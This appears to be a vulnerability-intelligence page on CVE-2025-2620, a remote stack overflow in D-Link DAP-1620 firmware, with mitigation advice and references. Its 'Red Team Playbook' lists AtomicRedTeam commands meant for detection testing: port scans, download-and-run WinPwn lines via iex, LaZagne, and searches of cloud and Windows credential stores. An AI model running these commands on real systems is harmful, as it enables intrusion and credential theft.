CVE-2025-2620
Overview
The vulnerability is a stack-based buffer overflow caused by improper handling of input data within the mod_graph_auth_uri_handler function in the Authentication Handler component of the D-Link DAP-1620 firmware version 1.03. This flaw arises from insufficient bounds checking on data processed in the /storage directory, allowing memory corruption through crafted input.
Vulnerability Description
A vulnerability has been found in D-Link DAP-1620 1.03 and classified as critical. This vulnerability affects the function mod_graph_auth_uri_handler of the file /storage of the component Authentication Handler. The manipulation leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code or cause a denial of service by crashing the device. The attack requires only network access and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. Successful exploitation can lead to full compromise of the device, enabling control over network traffic and potential lateral movement within the affected environment.
Solution
D-Link no longer supports the affected DAP-1620 firmware version 1.03, and no official patch is available. Users are advised to consult the advisory at https://vuldb.com/?id.300622 for detailed information. Mitigation may include discontinuing use of the vulnerable device or isolating it from untrusted networks to prevent remote exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the D-Link DAP-1620, specifically within the authentication handler's function mod_graph_auth_uri_handler located in the /storage directory. This flaw is characterized by a stack-based buffer overflow, which occurs when the application improperly handles input data, allowing an attacker to overwrite the memory stack. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating that it poses a significant risk to the integrity and confidentiality of the affected system. The fact that this vulnerability affects a product that is no longer supported by the vendor exacerbates the situation, as there will be no official patches or updates to mitigate the risk.
Exploitation of this vulnerability can be executed remotely, making it particularly dangerous. An attacker could craft a malicious request that exceeds the expected buffer size, leading to arbitrary code execution or denial of service. The remote nature of this attack vector means that an adversary does not need physical access to the device, allowing for a broader range of potential targets. Scenarios could include an attacker gaining unauthorized access to the network, escalating privileges, or even deploying malware. Given the widespread use of such devices in home and small office networks, the potential for exploitation is significant, particularly in environments where security measures may be lax.
The real-world impact of this vulnerability is substantial, especially for organizations that rely on the D-Link DAP-1620 for network connectivity. Compromise of the device could lead to unauthorized access to sensitive data, disruption of services, and potential breaches of compliance regulations. For businesses, the financial implications could be severe, including costs associated with incident response, potential fines, and damage to reputation. Additionally, the exploitation of this vulnerability could serve as a gateway for further attacks within the network, increasing the overall risk profile for organizations that have not taken proactive measures to secure their infrastructure.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, network monitoring tools can be employed to identify unusual traffic patterns or unauthorized access attempts that may indicate exploitation attempts. Regular vulnerability assessments and penetration testing should also be conducted to identify and remediate weaknesses in the network. Given that the affected product is no longer supported, organizations should consider replacing it with a more secure alternative that receives regular updates and patches. Furthermore, implementing network segmentation can help contain any potential breaches, limiting the attacker's ability to move laterally within the network.
In conclusion, the vulnerability in the D-Link DAP-1620 represents a critical threat that requires immediate attention from affected users and organizations. The potential for remote exploitation, combined with the lack of vendor support, creates a perfect storm for attackers. By understanding the technical details of the vulnerability, recognizing the various attack vectors, and implementing robust detection and mitigation strategies, organizations can significantly reduce their risk exposure and protect their networks from potential compromise.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dlink | Dap-1620 Firmware | 1.03 |
cpe:2.3:o:dlink:dap-1620_firmware:1.03:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Otsmane-Ahmed/CVE-2025-2620-poc
|
Otsmane-Ahmed | 16 | 1 | 2025-03-22 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-2620 |
| vuldb.com |
GitHub CVE
vdb-entry
technical-description
|
https://vuldb.com/?id.300622 |
| vuldb.com |
GitHub CVE
signature
permissions-required
|
https://vuldb.com/?ctiid.300622 |
| vuldb.com |
GitHub CVE
third-party-advisory
|
https://vuldb.com/?submit.518969 |
| witty-maiasaura-083.notion.site |
GitHub CVE
exploit
|
https://witty-maiasaura-083.notion.site/D-link-DAP-1620-mod_graph_auth_uri_handler-Vulnerability-1afb2f2a6361809ea7f2dc4df3b85f1f |
| dlink.com |
GitHub CVE
product
|
https://www.dlink.com/ |